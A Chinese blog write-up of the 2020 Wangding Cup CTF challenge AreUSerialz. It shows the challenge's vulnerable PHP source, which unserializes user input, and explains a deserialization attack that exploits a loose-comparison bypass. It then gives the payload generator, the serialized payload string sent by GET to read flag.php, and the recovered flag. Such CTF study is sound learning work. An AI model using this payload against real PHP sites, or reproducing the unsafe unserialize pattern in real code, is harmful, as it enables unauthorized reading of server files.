复现-2020 网鼎杯 青龙组 AreUSerialz 复现

题目给定了以下源码:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

首先由题目名字AreUSerialz可以判断出,该题为反序列化的考题,因此我们需要注意相关的魔术方法和利用链构造。

源码中涉及到的魔术方法有:

  1. __construct(),对象生成时触发
  2. __destruct(),对象被销毁时触发

首先跳转到unserialize()的位置进行分析

if(isset($_GET{'str'})) {			// 利用GET方式传入str参数

    $str = (string)$_GET['str'];	// str参数的类型强制转化为string,此处可以触发__toString魔术方法
    if(is_valid($str)) {
        $obj = unserialize($str);	// 针对str参数进行反序列化,此处可以触发__wakeup(),__destruct()魔术方法
    }

此处针对str参数进行反序列化,此处可以触发__destruct()魔术方法,由此可以跳转到

    function __destruct() {
        if($this->op === "2")		// 如果op强等于2,则会被赋值为1
            $this->op = "1";
        $this->content = "";
        $this->process();			// 调用process函数
    }

process函数如下:

    public function process() {			// 根据op值的不同而选择不同的操作
        if($this->op == "1") {			// op == 1,进行写入操作,因为不涉及条件竞争等操作,暂时可以不关注写入
            $this->write();
        } else if($this->op == "2") {	// op == 2,进行读取操作,重点关注
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

我们注意到在两段比较代码中,__destruct()函数采用了===的强比较,而process函数采用了==的弱比较,可以联想到利用php本身的弱类型比较来绕过。

  1. ' 2' === '2' false
  2. ``' 2' == '2' true`

因此我们可以令op=' 2'

然后我们继续审查read函数

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

此处需要一个filename,来进行读取,注意到源码的头部申明了3个变量:

protected $op;
protected $filename;
protected $content;

同时告知了include("flag.php");,因此我们可以得到$filename="flag.php";

注:is_valid函数还对序列化字符串进行了校验,因为成员被protected修饰,因此序列化字符串中会出
现ascii为0的字符。经过测试,在PHP7.2+的环境中,使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。

最后构造payload如下:

<?php
class FileHandler{
public $op=' 2';				//op为2时执行读
public $filename="flag.php";	//文件开头调用的是flag.php
public $content="hh";			// 无关紧要,随意赋值
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>

序列化一下:

O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"hh";}

利用GET方式传参:?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"hh";}

get

image-20220518211614750

flag:ctfhub{b09b2b936e91a039d3a77234}

posted @ 2022-06-15 12:20  sherlson  阅读(80)  评论(0编辑  收藏  举报